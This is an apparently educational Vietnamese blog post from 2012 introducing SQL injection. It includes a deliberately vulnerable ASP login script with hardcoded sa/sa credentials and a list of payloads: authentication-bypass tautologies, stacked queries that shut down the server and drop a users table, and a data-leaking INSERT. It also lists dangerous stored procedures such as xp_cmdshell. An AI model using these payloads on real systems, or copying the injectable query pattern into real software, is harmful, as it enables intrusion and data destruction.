Tổng lượt truy cập

Monday, March 12, 2012

SQL Inject...?

Hiểu?
Đơn giản nhưng khá nguy hiểm.

Có bốn dạng attack
+ vượt qua kiểm tra lúc đăng nhập (authorization bypass)
+ sử dụng câu lện SELECT.
+ sử dụng câu lệnh INSERT.
+ sử dụng các stored-procedures.
File Login.htm
<html>
<body>
<form method=get action="logincheck.asp">
<input type="text" name="username">
<input type="text" name="password">
<input type="submit" value="Đăng nhập">
</form>
</body>
</html>
 File logincheck.asp 
<@language="vbscript">
<%
dim conn,rs,log,pwd
log=Request.form("username")
pwd=Request.form("password")

set conn = Server.CreateObject("ADODB.Connection")
conn.ConnectionString="provider=SQLOLEDB.1;server=thuanat;database=mydb;UID=sa;PWD=sa"
conn.Open
set rs = Server.CreateObject("ADODB.Recordset")
rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn
If rs.EOF
response.write("Lỗi đăng nhập!")
else
response.write("Bạn đã đăng nhập thành công!")
End if
%>
 
"SELECT * FROM table1 WHERE login= ‘test’ AND password=hi' or 1=1--"
Why? là câu hỏi bạn tự trả lời nhé. "
 
' or1=1--   " or1=1-- or1=1--' or'a'='a " or "a"="a') or ('a'='a  'or''='
http://bảomật.vn/index.asp?category=food
“SELECT * FROM product WHERE PCategory='food' or 1=1--'”  why?

Username: '; shutdown with nowait; --
Password: [Anything] Why? 

Username: ' or 1=1; drop table users; --
Password: [Anything] Why?
INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def') Why?


sp_passsword
Đổi password cho 1 tên truy cập (login name) nào đó
sp_tables
Hiển thị tất cả table trong database hiện tại
xp_cmdshell
Cho phép chạy câu lệnh bất kỳ lên Server với quyền admin của database
xp_msver
Hiển thị version của SQL server và tất cả thông tin về HĐH được sử dụng
xp_availablemedia
Hiển thị những ổ đĩa  hiện hành trên máy
xp_dirtree
Hiển thị tất cả các thư mục kể cả thư mục con
xp_loginconfig
Lấy thông tin về chế độ bảo mật trên Server
xp_makecab
Cho phép người sử dụng tạo các tập tin lưu trữ trên Server
xp_ntsec_enumdomain
Liệt kê những domain mà server có thể truy vấn
xp_regdeletekey
Xoá một key trong registry của windows
xp_regdeletevalue
Xoá một giá trị trong registry
xp_regread
In 1 giá trị trong registry lên màn hình
xp_regwrite
Gán 1 giá trị mới cho 1 key
xp_terminate_process
Ngừng một process nào đó


-- ‘sp_password’ was found in the text of this event. Why?

 Don't try so hard, the best things come when you least expect them to